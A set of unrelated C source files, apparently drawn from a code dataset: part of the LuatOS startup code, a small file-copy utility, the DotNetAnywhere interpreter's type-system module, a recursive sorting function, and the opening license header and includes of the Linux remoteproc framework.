//print_list_mem("after lua_newstate");
lua_pushcfunction(L, &pmain); /* to call 'pmain' in protected mode */
//lua_pushinteger(L, argc); /* 1st argument */
//lua_pushlightuserdata(L, argv); /* 2nd argument */
status = lua_pcall(L, 0, 1, 0); /* do the call */
result = lua_toboolean(L, -1); /* get result */
report(L, status);
//lua_close(L);
_exit:
#ifdef LUAT_USE_CMDLINE_ARGS
result = !result;
LLOGE("Lua VM exit!! result:%d",result);
exit(result);
#endif
return result;
}
/**
* 常规流程, 单一入口, 执行脚本.
* require "sys"
*
* ... 用户代码 ....
*
* sys.run()
*/
int luat_main (void) {
if (boot_mode == 0) {
return 0; // just nop
}
#ifdef LUAT_BSP_VERSION
LLOGI("LuatOS@%s core %s bsp %s", luat_os_bsp(), LUAT_VERSION, LUAT_BSP_VERSION);
LLOGI("ROM Build: " __DATE__ " " __TIME__);
#else
LLOGI("LuatOS@%s %s, Build: " __DATE__ " " __TIME__, luat_os_bsp(), LUAT_VERSION);
#if LUAT_VERSION_BETA
LLOGD("This is a beta version, for testing");
#endif
#endif
// 1. 初始化文件系统
luat_fs_init();
// 是否需要升级或者回滚
luat_ota_update_or_rollback();
int result = luat_main_call();
LLOGE("Lua VM exit!! reboot in %dms", LUAT_EXIT_REBOOT_DELAY);
luat_ota_reboot(LUAT_EXIT_REBOOT_DELAY);
// 往下是肯定不会被执行的
return 0;
}
#include "rotable.h"
void luat_newlib(lua_State* l, const rotable_Reg* reg) {
#ifdef LUAT_CONF_DISABLE_ROTABLE
luaL_newlibtable(l,reg);
int i;
int nup = 0;
luaL_checkstack(l, nup, "too many upvalues");
for (; reg->name != NULL; reg++) { /* fill the table with given functions */
for (i = 0; i < nup; i++) /* copy upvalues to the top */
lua_pushvalue(l, -nup);
if (reg->func)
lua_pushcclosure(l, reg->func, nup); /* closure with those upvalues */
else
lua_pushinteger(l, reg->value);
lua_setfield(l, -(nup + 2), reg->name);
}
lua_pop(l, nup); /* remove upvalues */
#else
rotable_newlib(l, reg);
#endif
}
void luat_os_print_heapinfo(const char* tag) {
size_t total; size_t used; size_t max_used;
luat_meminfo_luavm(&total, &used, &max_used);
LLOGD("%s luavm %ld %ld %ld", tag, total, used, max_used);
luat_meminfo_sys(&total, &used, &max_used);
LLOGD("%s sys %ld %ld %ld", tag, total, used, max_used);
}
|
179787.c | #include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
int main(int argc, char **argv){
char buffer[8];
ssize_t nbread;
int fd_src,fd_dest;
if(argc<3){
printf("%s: Usage\n%s src dest : copie src dans dest.\n",argv[0],argv[0]);
return 1;
}
fd_src = open(argv[1],O_RDONLY);
fd_dest = open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0644);
while((nbread=read(fd_src,buffer,7))>0){
write(fd_dest,buffer,nbread);
}
close(fd_dest);
close(fd_src);
return 0;
}
|
411598.c | // Copyright (c) 2012 DotNetAnywhere
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#include "Compat.h"
#include "Sys.h"
#include "Type.h"
#include "MetaData.h"
#include "Types.h"
#include "EvalStack.h"
#include "Generics.h"
#include "System.Attribute.h"
#include "System.Reflection.MemberInfo.h"
#include "System.Reflection.MethodBase.h"
#include "System.Reflection.MethodInfo.h"
#include "System.Reflection.PropertyInfo.h"
#include "System.RuntimeType.h"
#include "Thread.h"
typedef struct tArrayTypeDefs_ tArrayTypeDefs;
struct tArrayTypeDefs_ {
tMD_TypeDef *pArrayType;
tMD_TypeDef *pElementType;
tArrayTypeDefs *pNext;
};
static tArrayTypeDefs *pArrays;
#define GENERICARRAYMETHODS_NUM 13
static U8 genericArrayMethodsInited = 0;
static tMD_MethodDef *ppGenericArrayMethods[GENERICARRAYMETHODS_NUM];
#define GENERICARRAYMETHODS_Internal_GetGenericEnumerator 0
#define GENERICARRAYMETHODS_get_Length 1
#define GENERICARRAYMETHODS_get_IsReadOnly 2
#define GENERICARRAYMETHODS_Internal_GenericAdd 3
#define GENERICARRAYMETHODS_Internal_GenericClear 4
#define GENERICARRAYMETHODS_Internal_GenericContains 5
#define GENERICARRAYMETHODS_Internal_GenericCopyTo 6
#define GENERICARRAYMETHODS_Internal_GenericRemove 7
#define GENERICARRAYMETHODS_Internal_GenericIndexOf 8
#define GENERICARRAYMETHODS_Internal_GenericInsert 9
#define GENERICARRAYMETHODS_Internal_GenericRemoveAt 10
#define GENERICARRAYMETHODS_Internal_GenericGetItem 11
#define GENERICARRAYMETHODS_Internal_GenericSetItem 12
static char *pGenericArrayMethodsInit[GENERICARRAYMETHODS_NUM] = {
"Internal_GetGenericEnumerator",
"get_Length",
"Internal_GenericIsReadOnly",
"Internal_GenericAdd",
"Internal_GenericClear",
"Internal_GenericContains",
"Internal_GenericCopyTo",
"Internal_GenericRemove",
"Internal_GenericIndexOf",
"Internal_GenericInsert",
"Internal_GenericRemoveAt",
"Internal_GenericGetItem",
"Internal_GenericSetItem",
};
static void GetMethodDefs() {
IDX_TABLE token, last;
tMetaData *pMetaData;
pMetaData = types[TYPE_SYSTEM_ARRAY_NO_TYPE]->pMetaData;
last = types[TYPE_SYSTEM_ARRAY_NO_TYPE]->isLast?
MAKE_TABLE_INDEX(MD_TABLE_METHODDEF, pMetaData->tables.numRows[MD_TABLE_METHODDEF]):
(types[TYPE_SYSTEM_ARRAY_NO_TYPE][1].methodList - 1);
token = types[TYPE_SYSTEM_ARRAY_NO_TYPE]->methodList;
for (; token <= last; token++) {
tMD_MethodDef *pMethod;
U32 i;
pMethod = (tMD_MethodDef*)MetaData_GetTableRow(pMetaData, token);
for (i=0; i<GENERICARRAYMETHODS_NUM; i++) {
if (strcmp(pMethod->name, pGenericArrayMethodsInit[i]) == 0) {
ppGenericArrayMethods[i] = pMethod;
break;
}
}
}
genericArrayMethodsInited = 1;
}
static void CreateNewArrayType(tMD_TypeDef *pNewArrayType, tMD_TypeDef *pElementType, tMD_TypeDef **ppClassTypeArgs, tMD_TypeDef **ppMethodTypeArgs) {
MetaData_Fill_TypeDef(types[TYPE_SYSTEM_ARRAY_NO_TYPE], NULL, NULL);
memcpy(pNewArrayType, types[TYPE_SYSTEM_ARRAY_NO_TYPE], sizeof(tMD_TypeDef));
pNewArrayType->pArrayElementType = pElementType;
pNewArrayType->isFilled = 1;
// Auto-generate the generic interfaces IEnumerable<T>, ICollection<T> and IList<T> for this array
{
tInterfaceMap *pInterfaceMap, *pAllIMs;
tMD_TypeDef *pInterfaceT;
tMD_MethodDef *pMethod;
U32 orgNumInterfaces;
if (genericArrayMethodsInited == 0) {
GetMethodDefs();
}
orgNumInterfaces = pNewArrayType->numInterfaces;
pNewArrayType->numInterfaces += 3;
pAllIMs = (tInterfaceMap*)mallocForever(pNewArrayType->numInterfaces * sizeof(tInterfaceMap));
memcpy(pAllIMs, pNewArrayType->pInterfaceMaps, orgNumInterfaces * sizeof(tInterfaceMap));
pNewArrayType->pInterfaceMaps = pAllIMs;
// Get the IEnumerable<T> interface
pInterfaceMap = &pAllIMs[orgNumInterfaces + 0];
pInterfaceT = Generics_GetGenericTypeFromCoreType(types[TYPE_SYSTEM_COLLECTIONS_GENERIC_IENUMERABLE_T], 1, &pElementType);
pInterfaceMap->pInterface = pInterfaceT;
pInterfaceMap->pVTableLookup = NULL;
pInterfaceMap->ppMethodVLookup = mallocForever(pInterfaceT->numVirtualMethods * sizeof(tMD_MethodDef*));
pMethod = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GetGenericEnumerator], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[0] = pMethod;
// Get the ICollection<T> interface
pInterfaceMap = &pAllIMs[orgNumInterfaces + 1];
pInterfaceT = Generics_GetGenericTypeFromCoreType(types[TYPE_SYSTEM_COLLECTIONS_GENERIC_ICOLLECTION_T], 1, &pElementType);
pInterfaceMap->pInterface = pInterfaceT;
pInterfaceMap->pVTableLookup = NULL;
pInterfaceMap->ppMethodVLookup = mallocForever(pInterfaceT->numVirtualMethods * sizeof(tMD_MethodDef*));
pInterfaceMap->ppMethodVLookup[0] = ppGenericArrayMethods[GENERICARRAYMETHODS_get_Length];
pInterfaceMap->ppMethodVLookup[1] = ppGenericArrayMethods[GENERICARRAYMETHODS_get_IsReadOnly];
pInterfaceMap->ppMethodVLookup[2] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericAdd], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[3] = ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericClear];
pInterfaceMap->ppMethodVLookup[4] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericContains], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[5] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericCopyTo], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[6] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericRemove], pNewArrayType, 1, &pElementType);
// Get the IList<T> interface
pInterfaceMap = &pAllIMs[orgNumInterfaces + 2];
pInterfaceT = Generics_GetGenericTypeFromCoreType(types[TYPE_SYSTEM_COLLECTIONS_GENERIC_ILIST_T], 1, &pElementType); //, ppClassTypeArgs, ppMethodTypeArgs);
pInterfaceMap->pInterface = pInterfaceT;
pInterfaceMap->pVTableLookup = NULL;
pInterfaceMap->ppMethodVLookup = mallocForever(pInterfaceT->numVirtualMethods * sizeof(tMD_MethodDef*));
pInterfaceMap->ppMethodVLookup[0] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericIndexOf], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[1] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericInsert], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[2] = ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericRemoveAt];
pInterfaceMap->ppMethodVLookup[3] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericGetItem], pNewArrayType, 1, &pElementType);
pInterfaceMap->ppMethodVLookup[4] = Generics_GetMethodDefFromCoreMethod(ppGenericArrayMethods[GENERICARRAYMETHODS_Internal_GenericSetItem], pNewArrayType, 1, &pElementType);
}
log_f(2, "Array: Array[%s.%s]\n", pElementType->nameSpace, pElementType->name);
}
// Returns a TypeDef for an array to the given element type
tMD_TypeDef* Type_GetArrayTypeDef(tMD_TypeDef *pElementType, tMD_TypeDef **ppClassTypeArgs, tMD_TypeDef **ppMethodTypeArgs) {
tArrayTypeDefs *pIterArrays;
if (pElementType == NULL) {
return types[TYPE_SYSTEM_ARRAY_NO_TYPE];
}
pIterArrays = pArrays;
while (pIterArrays != NULL) {
if (pIterArrays->pElementType == pElementType) {
return pIterArrays->pArrayType;
}
pIterArrays = pIterArrays->pNext;
}
// Must have this new array type in the linked-list of array types before it is initialised
// (otherwise it can get stuck in an infinite loop)
pIterArrays = TMALLOCFOREVER(tArrayTypeDefs);
pIterArrays->pElementType = pElementType;
pIterArrays->pNext = pArrays;
pArrays = pIterArrays;
pIterArrays->pArrayType = TMALLOC(tMD_TypeDef);
CreateNewArrayType(pIterArrays->pArrayType, pElementType, ppClassTypeArgs, ppMethodTypeArgs);
return pIterArrays->pArrayType;
}
U32 Type_IsValueType(tMD_TypeDef *pTypeDef) {
// If this type is an interface, then return 0
if (TYPE_ISINTERFACE(pTypeDef)) {
return 0;
}
// If this type is Object or ValueType then return an answer
if (strcmp(pTypeDef->nameSpace, "System") == 0) {
if (strcmp(pTypeDef->name, "ValueType") == 0) {
return 1;
}
if (strcmp(pTypeDef->name, "Object") == 0) {
return 0;
}
}
// Return the isValueType determined by parent type
pTypeDef = MetaData_GetTypeDefFromDefRefOrSpec(pTypeDef->pMetaData, pTypeDef->extends, NULL, NULL);
MetaData_Fill_TypeDef(pTypeDef, NULL, NULL);
return pTypeDef->isValueType;
}
// Get the TypeDef from the type signature
// Also get the size of a field from the signature
// This is needed to avoid recursive sizing of types like System.Boolean,
// that has a field of type System.Boolean
tMD_TypeDef* Type_GetTypeFromSig(tMetaData *pMetaData, SIG *pSig, tMD_TypeDef **ppClassTypeArgs, tMD_TypeDef **ppMethodTypeArgs) {
U32 entry;
entry = MetaData_DecodeSigEntry(pSig);
switch (entry) {
case ELEMENT_TYPE_VOID:
return NULL;
case ELEMENT_TYPE_BOOLEAN:
return types[TYPE_SYSTEM_BOOLEAN];
case ELEMENT_TYPE_CHAR:
return types[TYPE_SYSTEM_CHAR];
case ELEMENT_TYPE_I1:
return types[TYPE_SYSTEM_SBYTE];
case ELEMENT_TYPE_U1:
return types[TYPE_SYSTEM_BYTE];
case ELEMENT_TYPE_I2:
return types[TYPE_SYSTEM_INT16];
case ELEMENT_TYPE_U2:
return types[TYPE_SYSTEM_UINT16];
case ELEMENT_TYPE_I4:
return types[TYPE_SYSTEM_INT32];
case ELEMENT_TYPE_I8:
return types[TYPE_SYSTEM_INT64];
case ELEMENT_TYPE_U8:
return types[TYPE_SYSTEM_UINT64];
case ELEMENT_TYPE_U4:
return types[TYPE_SYSTEM_UINT32];
case ELEMENT_TYPE_R4:
return types[TYPE_SYSTEM_SINGLE];
case ELEMENT_TYPE_R8:
return types[TYPE_SYSTEM_DOUBLE];
case ELEMENT_TYPE_STRING:
return types[TYPE_SYSTEM_STRING];
case ELEMENT_TYPE_PTR:
return types[TYPE_SYSTEM_UINTPTR];
case ELEMENT_TYPE_BYREF:
{
tMD_TypeDef *pByRefType;
// type of the by-ref parameter, don't care
pByRefType = Type_GetTypeFromSig(pMetaData, pSig, ppClassTypeArgs, ppMethodTypeArgs);
}
// fall-through
case ELEMENT_TYPE_INTPTR:
return types[TYPE_SYSTEM_INTPTR];
case ELEMENT_TYPE_VALUETYPE:
case ELEMENT_TYPE_CLASS:
entry = MetaData_DecodeSigEntryToken(pSig);
return MetaData_GetTypeDefFromDefRefOrSpec(pMetaData, entry, ppClassTypeArgs, ppMethodTypeArgs);
case ELEMENT_TYPE_VAR:
entry = MetaData_DecodeSigEntry(pSig); // This is the argument number
if (ppClassTypeArgs == NULL) {
// Return null here as we don't yet know what the type really is.
// The generic instantiation code figures this out later.
return NULL;
} else {
return ppClassTypeArgs[entry];
}
case ELEMENT_TYPE_GENERICINST:
{
tMD_TypeDef *pType;
pType = Generics_GetGenericTypeFromSig(pMetaData, pSig, ppClassTypeArgs, ppMethodTypeArgs);
return pType;
}
//case ELEMENT_TYPE_INTPTR:
// return types[TYPE_SYSTEM_INTPTR];
case ELEMENT_TYPE_UINTPTR:
return types[TYPE_SYSTEM_UINTPTR];
case ELEMENT_TYPE_OBJECT:
return types[TYPE_SYSTEM_OBJECT];
case ELEMENT_TYPE_SZARRAY:
{
tMD_TypeDef *pElementType;
pElementType = Type_GetTypeFromSig(pMetaData, pSig, ppClassTypeArgs, ppMethodTypeArgs);
return Type_GetArrayTypeDef(pElementType, ppClassTypeArgs, ppMethodTypeArgs);
}
case ELEMENT_TYPE_MVAR:
entry = MetaData_DecodeSigEntry(pSig); // This is the argument number
if (ppMethodTypeArgs != NULL) {
return ppMethodTypeArgs[entry];
} else {
if (ppClassTypeArgs != NULL) {
return ppClassTypeArgs[entry];
} else {
// Can't do anything sensible, as we don't have any type args
return NULL;
}
}
default:
Crash("Type_GetTypeFromSig(): Cannot handle signature element type: 0x%02x", entry);
FAKE_RETURN;
}
}
tMD_TypeDef **types;
static U32 numInitTypes;
typedef struct tTypeInit_ tTypeInit;
struct tTypeInit_ {
char *assemblyName;
char *nameSpace;
char *name;
U8 stackType;
U8 stackSize;
U8 arrayElementSize;
U8 instanceMemSize;
U8 index;
};
static char mscorlib[] = "mscorlib";
static char System[] = "System";
static char SystemCollectionsGeneric[] = "System.Collections.Generic";
static char SystemReflection[] = "System.Reflection";
static char SystemThreading[] = "System.Threading";
static char SystemIO[] = "System.IO";
static char SystemGlobalization[] = "System.Globalization";
static tTypeInit typeInit[] = {
{mscorlib, System, "Object", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_OBJECT }, // 0
{mscorlib, System, "Array", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_ARRAY_NO_TYPE }, // 1
{mscorlib, System, "Void", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_VOID }, // 2
{mscorlib, System, "Boolean", EVALSTACK_INT32, 4, 4, 4 , TYPE_SYSTEM_BOOLEAN }, // 3
{mscorlib, System, "Byte", EVALSTACK_INT32, 4, 1, 4 , TYPE_SYSTEM_BYTE }, // 4
{mscorlib, System, "SByte", EVALSTACK_INT32, 4, 1, 4 , TYPE_SYSTEM_SBYTE }, // 5
{mscorlib, System, "Char", EVALSTACK_INT32, 4, 2, 4 , TYPE_SYSTEM_CHAR }, // 6
{mscorlib, System, "Int16", EVALSTACK_INT32, 4, 2, 4 , TYPE_SYSTEM_INT16 }, // 7
{mscorlib, System, "Int32", EVALSTACK_INT32, 4, 4, 4 , TYPE_SYSTEM_INT32 }, // 8
{mscorlib, System, "String", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_STRING }, // 9
{mscorlib, System, "IntPtr", EVALSTACK_PTR, sizeof(void*), sizeof(void*), 0 , TYPE_SYSTEM_INTPTR }, // 10
{mscorlib, System, "RuntimeFieldHandle", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_RUNTIMEFIELDHANDLE }, // 11
{mscorlib, System, "InvalidCastException", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_INVALIDCASTEXCEPTION }, // 12
{mscorlib, System, "UInt32", EVALSTACK_INT32, 4, 4, 4 , TYPE_SYSTEM_UINT32 }, // 13
{mscorlib, System, "UInt16", EVALSTACK_INT32, 4, 2, 4 , TYPE_SYSTEM_UINT16 }, // 14
{NULL, NULL, (char*)TYPE_SYSTEM_CHAR, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_CHAR }, // 15
{NULL, NULL, (char*)TYPE_SYSTEM_OBJECT, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_OBJECT }, // 16
{mscorlib, SystemCollectionsGeneric, "IEnumerable`1", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_COLLECTIONS_GENERIC_IENUMERABLE_T }, // 17
{mscorlib, SystemCollectionsGeneric, "ICollection`1", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_COLLECTIONS_GENERIC_ICOLLECTION_T }, // 18
{mscorlib, SystemCollectionsGeneric, "IList`1", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_COLLECTIONS_GENERIC_ILIST_T }, // 19
{mscorlib, System, "MulticastDelegate", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_MULTICASTDELEGATE }, // 20
{mscorlib, System, "NullReferenceException", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_NULLREFERENCEEXCEPTION }, // 21
{mscorlib, System, "Single", EVALSTACK_F32, 4, 4, 4 , TYPE_SYSTEM_SINGLE }, // 22
{mscorlib, System, "Double", EVALSTACK_F64, 8, 8, 8 , TYPE_SYSTEM_DOUBLE }, // 23
{mscorlib, System, "Int64", EVALSTACK_INT64, 8, 8, 8 , TYPE_SYSTEM_INT64 }, // 24
{mscorlib, System, "UInt64", EVALSTACK_INT64, 8, 8, 8 , TYPE_SYSTEM_UINT64 }, // 25
{mscorlib, System, "RuntimeType", EVALSTACK_O, 4, 4, sizeof(tRuntimeType) , TYPE_SYSTEM_RUNTIMETYPE }, // 26
{mscorlib, System, "Type", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_TYPE }, // 27
{mscorlib, System, "RuntimeTypeHandle", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_RUNTIMETYPEHANDLE }, // 28
{mscorlib, System, "RuntimeMethodHandle", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_RUNTIMEMETHODHANDLE }, // 29
{mscorlib, System, "Enum", EVALSTACK_VALUETYPE, 0, 0, 0 , TYPE_SYSTEM_ENUM }, // 30
{NULL, NULL, (char*)TYPE_SYSTEM_STRING, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_STRING }, // 31
{NULL, NULL, (char*)TYPE_SYSTEM_INT32, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_INT32 }, // 32
{mscorlib, SystemThreading, "Thread", EVALSTACK_O, 4, 4, sizeof(tThread) , TYPE_SYSTEM_THREADING_THREAD }, // 33
{mscorlib, SystemThreading, "ThreadStart", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_THREADING_THREADSTART }, // 34
{mscorlib, SystemThreading, "ParameterizedThreadStart", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_THREADING_PARAMETERIZEDTHREADSTART }, // 35
{mscorlib, System, "WeakReference", EVALSTACK_O, 4, 4, 0 , TYPE_SYSTEM_WEAKREFERENCE }, // 36
{mscorlib, SystemIO, "FileMode", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_IO_FILEMODE }, // 37
{mscorlib, SystemIO, "FileAccess", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_IO_FILEACCESS }, // 38
{mscorlib, SystemIO, "FileShare", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_IO_FILESHARE }, // 39
{NULL, NULL, (char*)TYPE_SYSTEM_BYTE, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_BYTE }, // 40
{mscorlib, SystemGlobalization, "UnicodeCategory", EVALSTACK_INT32, 0, 0, 0 , TYPE_SYSTEM_GLOBALIZATION_UNICODECATEGORY }, // 41
{mscorlib, System, "OverflowException", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_OVERFLOWEXCEPTION }, // 42
{mscorlib, System, "PlatformID", EVALSTACK_INT32, 0, 0, 0 , TYPE_SYSTEM_PLATFORMID }, // 43
{mscorlib, SystemIO, "FileAttributes", EVALSTACK_O, 0, 0, 0 , TYPE_SYSTEM_IO_FILESYSTEMATTRIBUTES }, // 44
{mscorlib, System, "UIntPtr", EVALSTACK_PTR, sizeof(void*), sizeof(void*), 0 , TYPE_SYSTEM_UINTPTR }, // 45
{mscorlib, System, "Nullable`1", EVALSTACK_VALUETYPE, 0, 0, 0 , TYPE_SYSTEM_NULLABLE }, // 46
{NULL, NULL, (char*)TYPE_SYSTEM_TYPE, 0, 0, 0, 0 , TYPE_SYSTEM_ARRAY_TYPE }, // 47
{mscorlib, SystemReflection, "PropertyInfo", EVALSTACK_O, 4, 4, sizeof(tPropertyInfo) , TYPE_SYSTEM_REFLECTION_PROPERTYINFO }, // 48
{mscorlib, SystemReflection, "MethodInfo", EVALSTACK_O, 4, 4, sizeof(tMethodInfo) , TYPE_SYSTEM_REFLECTION_METHODINFO }, // 49
{mscorlib, SystemReflection, "MethodBase", EVALSTACK_O, 4, 4, sizeof(tMethodBase) , TYPE_SYSTEM_REFLECTION_METHODBASE }, // 50
{mscorlib, SystemReflection, "MemberInfo", EVALSTACK_O, 4, 4, sizeof(tMemberInfo) , TYPE_SYSTEM_REFLECTION_MEMBERINFO }, // 51
{mscorlib, System, "Attribute", EVALSTACK_O, 4, 4, sizeof(tSystemAttribute) , TYPE_SYSTEM_ATTRIBUTE }, // 52
{mscorlib, SystemReflection, "InternalCustomAttributeInfo", EVALSTACK_VALUETYPE, sizeof(tInternalCustomAttributeInfo),
sizeof(tInternalCustomAttributeInfo), sizeof(tInternalCustomAttributeInfo) , TYPE_SYSTEM_REFLECTION_INTERNALCUSTOMATTRIBUTEINFO }, // 53
};
int CorLibDone = 0;
void Type_Init() {
// Build all the types needed by the interpreter.
numInitTypes = sizeof(typeInit) / sizeof(typeInit[0]);
types = (tMD_TypeDef**)mallocForever(numInitTypes * sizeof(tMD_TypeDef*));
for (U32 i=0; i<numInitTypes; i++) {
if (i != typeInit[i].index) { Crash("invalid index"); }
if (typeInit[i].assemblyName != NULL) {
// Normal type initialisation
types[i] = MetaData_GetTypeDefFromFullName(typeInit[i].assemblyName, typeInit[i].nameSpace, typeInit[i].name);
// For the pre-defined system types, fill in the well-known memory sizes
types[i]->stackType = typeInit[i].stackType;
types[i]->stackSize = typeInit[i].stackSize;
types[i]->arrayElementSize = typeInit[i].arrayElementSize;
types[i]->instanceMemSize = typeInit[i].instanceMemSize;
}
}
for (U32 i=0; i<numInitTypes; i++) {
if (typeInit[i].assemblyName != NULL) {
MetaData_Fill_TypeDef(types[i], NULL, NULL);
} else {
// Special initialisation for arrays of particular types.
types[i] = Type_GetArrayTypeDef(types[(U32)(typeInit[i].name)], NULL, NULL);
}
}
CorLibDone = 1;
}
U32 Type_IsMethod(tMD_MethodDef *pMethod, STRING name, tMD_TypeDef *pReturnType, U32 numParams, U8 *pParamTypeIndexs) {
SIG sig;
U32 sigLen, numSigParams, i, nameLen;
nameLen = (U32)strlen(name);
if (name[nameLen-1] == '>') {
// Generic instance method
if (strncmp(pMethod->name, name, nameLen - 1) != 0) {
return 0;
}
} else {
if (strcmp(pMethod->name, name) != 0) {
return 0;
}
}
sig = MetaData_GetBlob(pMethod->signature, &sigLen);
i = MetaData_DecodeSigEntry(&sig); // Don't care about this
if (i & SIG_CALLCONV_GENERIC) {
MetaData_DecodeSigEntry(&sig);
}
numSigParams = MetaData_DecodeSigEntry(&sig);
if (numParams != numSigParams) {
return 0;
}
if (pReturnType == types[TYPE_SYSTEM_VOID]) {
pReturnType = NULL;
}
for (i=0; i<numParams + 1; i++) {
tMD_TypeDef *pSigType, *pParamType;
pSigType = Type_GetTypeFromSig(pMethod->pMetaData, &sig, NULL, NULL);
pParamType = (i == 0)?pReturnType:types[pParamTypeIndexs[i-1]];
if (pSigType != NULL && TYPE_ISARRAY(pSigType) && pParamType == types[TYPE_SYSTEM_ARRAY_NO_TYPE]) {
// It's ok...
} else {
if (pSigType != pParamType) {
goto endBad;
}
}
}
return 1;
endBad:
return 0;
}
U32 Type_IsDerivedFromOrSame(tMD_TypeDef *pBaseType, tMD_TypeDef *pTestType) {
while (pTestType != NULL) {
if (pTestType == pBaseType) {
return 1;
}
MetaData_Fill_TypeDef(pTestType, NULL, NULL);
pTestType = pTestType->pParent;
}
return 0;
}
U32 Type_IsImplemented(tMD_TypeDef *pInterface, tMD_TypeDef *pTestType) {
U32 i;
for (i=0; i<pTestType->numInterfaces; i++) {
if (pTestType->pInterfaceMaps[i].pInterface == pInterface) {
return 1;
}
}
return 0;
}
U32 Type_IsAssignableFrom(tMD_TypeDef *pToType, tMD_TypeDef *pFromType) {
return
Type_IsDerivedFromOrSame(pToType, pFromType) ||
(TYPE_ISINTERFACE(pToType) && Type_IsImplemented(pToType, pFromType));
}
HEAP_PTR Type_GetTypeObject(tMD_TypeDef *pTypeDef) {
if (pTypeDef->typeObject == NULL) {
pTypeDef->typeObject = RuntimeType_New(pTypeDef);
}
return pTypeDef->typeObject;
}
|
198149.c | void slow_sort(double *data,int size)
{
int i;
double tmp;
if(size < 2) {
return;
}
i = (size-1)/2;
slow_sort(data,i+1);
slow_sort(data+i+1,size-i-1);
if(data[size-1] < data[i]) {
tmp = data[i];
data[i] = data[size-1];
data[size-1] = tmp;
}
slow_sort(data,size-1);
return;
}
|
697642.c | // SPDX-License-Identifier: GPL-2.0-only
/*
* Remote Processor Framework
*
* Copyright (C) 2011 Texas Instruments, Inc.
* Copyright (C) 2011 Google, Inc.
*
* Ohad Ben-Cohen <[email protected]>
* Brian Swetland <[email protected]>
* Mark Grosen <[email protected]>
* Fernando Guzman Lugo <[email protected]>
* Suman Anna <[email protected]>
* Robert Tivy <[email protected]>
* Armando Uribe De Leon <[email protected]>
*/
#define pr_fmt(fmt) "%s: " fmt, __func__
#include <linux/delay.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/panic_notifier.h>
#include <linux/slab.h>
#include <linux/mutex.h>
#include <linux/dma-map-ops.h>
#include <linux/dma-mapping.h>
#include <linux/dma-direct.h> /* XXX: pokes into bus_dma_range */
#include <linux/firmware.h>
#include <linux/string.h>
#include <linux/debugfs.h>
#include <linux/rculist.h>
#include <linux/remoteproc.h>
#include <linux/iommu.h>
#include <linux/idr.h>
#include <linux/elf.h>
#include <linux/crc32.h>
#include <linux/of_reserved_mem.h>
#include <linux/virtio_ids.h>
#include <linux/virtio_ring.h>
#include <asm/byteorder.h>
#include <linux/platform_device.h>
#include "remoteproc_internal.h"
#define HIGH_BITS_MASK 0xFFFFFFFF00000000ULL
